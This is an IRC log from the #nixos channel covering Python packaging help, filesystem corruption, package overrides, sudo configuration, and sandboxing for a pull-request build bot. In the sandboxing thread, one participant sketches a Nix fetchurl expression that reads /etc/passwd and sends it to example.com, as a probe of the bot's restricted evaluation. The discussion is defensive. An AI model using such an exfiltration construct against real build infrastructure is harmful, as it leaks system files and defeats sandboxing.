but I need to make it available. I don't know how (and am new to nix).
<clever>
haroldcarr: one min
periklis has joined #nixos
<clever>
steveeJ: what does "ls -lh /nix/store/trash/v8cnl344mjh4qb60j47rw7yh4vsy59mx-tzdata-2016j/share/zoneinfo/Asia/Sakhalin" say ?
<cstrahan>
ixxie: at any rate, I doubt you'll be able to get that python-auth2 test working, as it's generally unworkable to get databases/servers running appropriately in the build env. so a quick fix would be to do something like `doCheck = false;` to skip the tests entirely (or you could find a way skip just the troublesome ones)
<haroldcarr>
clever: that the quotes of "assert" in the args
<clever>
ah, wasnt sure that would work or not
<clever>
haroldcarr: one min
mekeor has joined #nixos
<cstrahan>
ixxie: No worries. You were overriding the checkPhase, but it turns out that the python build infrastructure (which is built on top of stdenv.mkDerivation) already disables the standard check phase; what you were seeing was the checkInstallPhase running.
<cstrahan>
ixxie: Since python packages can only be simultaneously installed and checked, rather than first checked and then installed, we made doCheck do the "intuitive thing" (ha) and disable the underlying installCheckPhase (because otherwise doCheck would be meaningless in the context of python packages). Admittedly, it's all a little subtle.
<ixxie>
cstrahan: this is my first package, I don't even know what is normal let alone abnormal
<BlessJah>
hum, why is python2.7 added to my PATH directly from /nix/store?
<BlessJah>
is that normal thing?
<haroldcarr>
clever: that seems to work. I need to try it out in the "real" codebase. But have to go to a meeting right now. THANKS!
<clever>
haroldcarr: yep
<cstrahan>
ixxie: hehe. not trying to throw too much at you, but I figured some pointers might not hurt. you're doing great for your first package :P
<clever>
BlessJah: is that in nix-shell or a normal shell?
<BlessJah>
normal
IRCNickname has joined #nixos
<clever>
yeah, that is strange
<cstrahan>
ixxie: let me know if you run into any more roadblocks, I'd be more than happy to lend a hand.
<nh2[m]>
domenkozar: `@GrahamcOfBorg build glusterfs` - can everybody do that or only select users?
<steveeJ>
clever: according to fsck.ext4 the filesystem has many errors
<ixxie>
cstrahan: its helping me get an idea of whats going on; the lesson I learned here is that when using library functions like buildPythonPackage, it helps to look into their derivation to learn their quirks :)
<domenkozar>
nh2[m]: I think anyone with commit access
<nh2[m]>
OK
Itkovian has joined #nixos
<clever>
steveeJ: ah, that would do it
<LnL>
nh2[m]: only a small list of people at the moment
<cstrahan>
ixxie: I think the error you're seeing is because you need requests as a build input.
<cstrahan>
"Could not find a version that satisfies the requirement requests [...]"
<nh2[m]>
and do you currently have to manually ping the bot or can it also do it automatically on PR opening?
sigmundv has quit [(Ping timeout: 248 seconds)]
<nh2[m]>
(a question which is equivalent to "does it already have clever enough sandboxing that it can withstand malicious PRs")
<domenkozar>
nh2[m]: hence why it's manual and restricted
<ixxie>
cstrahan: lol, I didn't read that as a package name xD
<ixxie>
cstrahan: that solved it, it builds now :)
<cstrahan>
:P
<cstrahan>
Yay!
<clever>
domenkozar: i suspect that the restricted eval mode that hydra uses might be able to stop some nasty things, but it may still allow a simple src = /etc/passwd;
<cstrahan>
ixxie: If you'll opena PR, I'll review it.
<clever>
and if you have a fixed-output derivation, you have full network access
dhess`` has joined #nixos
<domenkozar>
clever: could also restrict read directories to nix
dhess` has quit [(Read error: Connection reset by peer)]
<steveeJ>
clever: thanks for wasting your time with this :-D
<ixxie>
cstrahan: thanks! how can I tell what needs to be a propagatedBuildInput and what a mere buildInput?
<cstrahan>
ixxie: Also, a solid next step would be setting up a NixOS module. If that's something you'd like to do, I can provide some help there, too.
<clever>
steveeJ: ive seen more nasty bugs before in filesystems, where fsck said everything was fine, but directories would just randomly map to other directories
<nh2[m]>
clever: I suspect for building fully untrusted code, you'd have to build in a VM
<clever>
steveeJ: ive also see apps claiming a file doesnt exist when it clearly does, because of 32bit vs 64bit interactions
<ixxie>
cstrahan: I would love to do that; I am hoping to be able to declaratively configure the jupyterhub server ^^
<clever>
nh2[m]: yeah
<nh2[m]>
clever: and also put a total time, HD, and network limit on it
zzamboni has joined #nixos
<clever>
nh2[m]: recursive nix would let you 'nix-build' the code inside of an existing nix sandbox, which would be perfect
NixOS_GitHub has joined #nixos
<NixOS_GitHub>
[nixpkgs] domenkozar pushed 2 new commits to release-17.09: https://git.io/vF7bf
<nh2[m]>
clever: but are cgroup based sandboxes really enough for this job? IIRC there were many reports of docker containers being broken out of, and some opinions that user-namespaces being suspected of having many potential security holes due to their new-ness. Also, could you even set e.g. a max network Bytes transferred limit on a cgroup?
<gchristensen>
nh2[m]: probably best to use a VM yeah
<ixxie>
is there an indentation convention for nix files?
<gchristensen>
domenkozar: only a small list of users can invoke grahamcofborg
<clever>
nh2[m]: from what ive heard about the docker stuff, its often due to people improperly mounting a part of the host fs into the guest with special flags
Neo-- has joined #nixos
mekeor has quit [(Ping timeout: 250 seconds)]
<gchristensen>
nh2[m]: "and do you currently have to manually ping the bot or can it also do it automatically on PR opening?" it does the eval checks automatically, but not any builds automatically. the sandboxing is not very good on the builds right now. it is why only a small list of user can call the bot
<cstrahan>
ixxie: Say you include a package A in the propagatedBuildInput list of package B. If you then include package B as either a buildInput or propagatedBuildInput in package C, package A will implicitly be treated as if you had explicitly included A in package C's buildInput/propogatedBuildInput list. So the short answer is (for python packages, specifically): if package B needs package A at run time, include A as a
<cstrahan>
propogatedBuildInput in B; then when declare that some package C has a dependency on package B, PYTHONPATH (etc) will be set up to have package A also available.
<clever>
gchristensen: what if i query a specialy crafted url like builtins.fetchurl ("example.com/" + encode(builtins.readFile /etc/passwd)) ?
<clever>
gchristensen: wont your eval execute that?, or is restricted mode going to block the fetchurl?
<gchristensen>
clever: want to find out? :)
noah__ has quit [(Quit: leaving)]
<clever>
gchristensen: hmmm, and if you approve a PR, what happens when i push more commits to the branch?
forgetful has quit [(Remote host closed the connection)]
<cstrahan>
ixxie: an example of when you'd want to use buildInput instead is when you depend on some python package only at build/test time; pip would be an example of a python package that's only needed at build time.
<gchristensen>
clever: I call essentially `nix-instantiate --option restrict-eval true --argstr system x86_64-linux ./nixos/release.nix -A options`
<clever>
gchristensen: ah, i can test that on my end first and see if i have any way out
<ixxie>
cstrahan: I understand the idea, I am just wondering if there is a systematic way to evaluate this / discover this for python packages
<gchristensen>
clever: ok, also the only env vars set are HOME ("/homeless-shelter") and NIX_PATH (set to `pwd`)
universalpackage has joined #nixos
<cstrahan>
ixxie: I don't think we have a great way to automate this. I think everyone just combs through the setup.py to see what's need when/where.
forgetful has joined #nixos
<ixxie>
cstrahan: that is good enough for me :)
<gchristensen>
clever: I pin the commit sha from when the approval took place and refer specifically to that commit from then on
<universalpackage>
when would an application be required to be recompiled?
<clever>
gchristensen: good :)
<universalpackage>
like when adding an application to nix's package repo
<universalpackage>
when would it be deemed nessesary to recompile the application from source
<ixxie>
cstrahan: there you go :) oh I should still doublecheck the setup.py to makesure I didn't needlessly propegate stuff
<cstrahan>
ixxie: I don't think we have any hard and fast rules for indentation, but there's definitely a pervasive pattern throughout, with some minor inconsistencies in some corner cases. For example, in something like a `let [...bindings...] in [...expr...]`, do you indent both the bindings and the body expression? Generally yes... but it's not uncommon to find a package definition where there's a top level let, and then it
<cstrahan>
looks kinda gross to indent the whole stdenv.mkDerivation { ... }, so we often leave that unindented. That's one of those "kinda depends on your sense of judgement/aesthetic" cases.
universalpackage has quit [(Remote host closed the connection)]
universalpackage has joined #nixos
<steveeJ>
clever: fsck.ext4 -y "fixed" the store. I should probably run a consistency check for the nix-store
<cstrahan>
Normally everything after the 'in' is indented, but I chose not to here, as there's little ambiguity that can arise here, and indenting the whole stdenv.mkDerivation would (IMO) only serve to add to cognitive overhead.
<ixxie>
cstrahan: well, I think I did alright then; you can have a look at my PR. I cannot really decypher the dependency information from jupythub's setup.py; maybe requirements.txt could help?
<clever>
steveeJ: yeah
<clever>
steveeJ: and also, zfs has its own consistency checks, every block of data on the drive is hashed, and the hash is verified at read time, so it cant return corrupt data to the applications
<steveeJ>
clever: and what if a verification is negative?
<clever>
steveeJ: i think it will set errno to EIO and the read will fail
arianvp2 has quit [(Quit: arianvp2)]
arianvp2 has joined #nixos
fendor has joined #nixos
universalpackage has quit [(Quit: Konversation terminated!)]
<cstrahan>
If jupyterhub is only ever used as a binary, rather than a library (which I would guess is the case (?)), you should be find just setting those as plain buildInput
<cstrahan>
should be *fine*, is what I meant.
<cstrahan>
I must confess I'm not the biggest consumer of the python infra in nixpkgs, so others might have more authoritative (e.g. less wrong, heh) advice.
<ixxie>
cstrahan: jupyterhub is a web server so I guess its not ever used as a library
<cstrahan>
ixxie: did you have the sandbox enabled when you did your build? one possible concern: unless jupyter hub bundles/vendors the source for its npm dependencies, then it must be fetching those npm packages over the network. that'll cause the build to be flagged as a failure on our Hydra build farm, since we have the sandbox enabled there.
<ixxie>
cstrahan: I am testing the binary now and it turns out some of the dependencies are needed at runtime; as for sandboxing, how to I enable it in nix-build?
<chreekat>
How do I (if possible) install a package into my environment with overridden configs? I.e. I'd like sqlite with interactive=true
<chreekat>
s/i.e./e.g. :P
<clever>
chreekat: one min
<clever>
chreekat: there is already a sqliteInteractive package that turns that flag on
<clever>
nix-env -iA nixos.sqliteInteractive
NixOS_GitHub has joined #nixos
<NixOS_GitHub>
[nixpkgs] LnL7 pushed 2 new commits to master: https://git.io/vF7xh
<NixOS_GitHub>
nixpkgs/master e618099 Nick Novitski: sdcv: enable Darwin build
<cstrahan>
chreekat: clever is refering to $HOME/.config/nixpkgs/config.nix
<ixxie>
cstrahan: I will look into that another day, I would love sandboxing. It builds sandboxed btw!
<cstrahan>
ixxie: excellent!
<chreekat>
great, thanks to both
<cstrahan>
ixxie: I self-assigned your PR; I'll look at it shortly.
<ixxie>
cstrahan: also I think all the requirements.txt stuff needs to be propagated, I am wondering if the requirements-dev.txt is what buildInputs needs
<ixxie>
cstrahan: thanks :)
<chreekat>
(come to think of it, I think I've only read the manuals for Nix and NixOS, but not Nixpkgs... maybe that's why I couldn't think of where to look)
<clever>
chreekat: yeah, the manuals are a bit fragmented
<ixxie>
cstrahan: really appreciated all the help! I am hoping to learn more and its tough to figure these things out from scratch.
orivej has quit [(Ping timeout: 248 seconds)]
<ixxie>
have a good evening
ixxie has quit [(Quit: Lost terminal)]
somlor has joined #nixos
seanomlor has quit [(Ping timeout: 248 seconds)]
Wizek has quit [(Quit: Connection closed for inactivity)]
<NickHu>
Is anyone on NixOS unstable able to launch steam recently? I get libGL errors
<cstrahan>
chreekat: the ~/.config/nixpkgs/config.nix approach is what you want if you just want to install in your user profile; if you want to install a modified sqlite system-wide, you probably want to do any necessary overrides in your configuration.nix. Here's an example from my configs: https://github.com/cstrahan/nixos-config/blob/master/configuration.nix#L411-L531
jb55 has quit [(Ping timeout: 240 seconds)]
kier has quit [(Ping timeout: 260 seconds)]
<cstrahan>
chreekat: For the sake of example, say `sqliteInteractive`wasn't already a thing. You could do e.g. `systemPackages = [ (pkgs.sqlite.override { interactive = true; }) ];` -- that would give you an interactive `sqlite` binary. If you (for whatever reason) wanted to make it so that *all* packages throughout Nixpkgs used the interactive version, you could make that override like so: `nixpkgs.config.packageOverrides =
<cstrahan>
super: { sqlite = super.sqlite.override { interactive = true; }; };` -- and now if you just do `systemPackages = [ pkgs.sqlite ];`, that'll give you the overridden sqlite.
goibhniu has joined #nixos
<cstrahan>
Hopefully that's more helpful than confusing.
hamishmack has joined #nixos
<clever>
chreekat: you can also give your variant a new name, so it wont be used everywhere, but is simpler to refer to in systemPackages
<gchristensen>
hmm they only _just_ passed pbogdan
<gchristensen>
s/passed/finished/
<gchristensen>
that is to say, the channel won't advance until every drv is finished building in the evaluation, and things finished just within the last 20min
<romildo>
haskellPackages: with haskellPackages; [
<romildo>
cabal-install
<romildo>
# other haskell packages
<romildo>
]
<romildo>
);
<romildo>
}
<romildo>
I want to use an older version of cabal because "cabal run" is not working with my project. How to change my configuration to accomplish this?
<orbekk>
hiroshi: you want to just overwrite the file with your own? this worked for me: security.sudo.configFile = lib.mkForce "# my sudoers config";
NixOS_GitHub has joined #nixos
<NixOS_GitHub>
[nixpkgs] yuriaisaka opened pull request #31879: pythonPackages.autoflake: init at 1.0 (master...pr-py-autoflake-init) https://git.io/vF5C9
NixOS_GitHub has left #nixos []
<hiroshi>
orbekk: thanks for the answer. I will try that line. what is lib.mkForce ?
filterfish_ has quit [(Ping timeout: 240 seconds)]
<hiroshi>
Oh that is interesting. Setting Priorities .. reading ...
layus has joined #nixos
hamishmack has quit [(Quit: hamishmack)]
universalpackage has quit [(Client Quit)]
universalpackage has joined #nixos
myrl has quit [(Ping timeout: 240 seconds)]
mizu_no_oto has quit [(Quit: Computer has gone to sleep.)]
erasmas has quit [(Quit: leaving)]
universalpackage has quit [(Client Quit)]
filterfish_ has joined #nixos
universalpackage has joined #nixos
<orbekk>
hiroshi: OOC, what's bad about the default configs?
cement has quit [(Ping timeout: 255 seconds)]
<universalpackage>
whats RTLD_BINDING_MASK
Wizek_ has joined #nixos
universalpackage has quit [(Client Quit)]
universalpackage has joined #nixos
phreedom has quit [(Remote host closed the connection)]
NixOS_GitHub has joined #nixos
<NixOS_GitHub>
[nixpkgs] earldouglas opened pull request #31880: arangodb: Add a NixOS service (master...arangodb-service) https://git.io/vF5lA
NixOS_GitHub has left #nixos []
universalpackage has quit [(Remote host closed the connection)]
mariel__ has quit [(Read error: Connection reset by peer)]
mariel__ has joined #nixos
universalpackage has joined #nixos
<hiroshi>
orbekk: there is no config at all. wheel ALL is stupid. enable root in sshd_config is stupid too
danharaj has quit [(Ping timeout: 240 seconds)]
<BlessJah>
Anyone here uses terminator (terminal emulator)? It seems that terminator wrapper script pollutes shell inside with $PATH. Could someone check that with me?
<universalpackage>
whats RTLD_BINDING_MASK and what does it have to do with "error while loading shared libraries: __vdso_time: invalid mode for dlopen(): Invalid argument"
lpsmith- is now known as lpsmith
reardencode has quit [(Read error: Connection reset by peer)]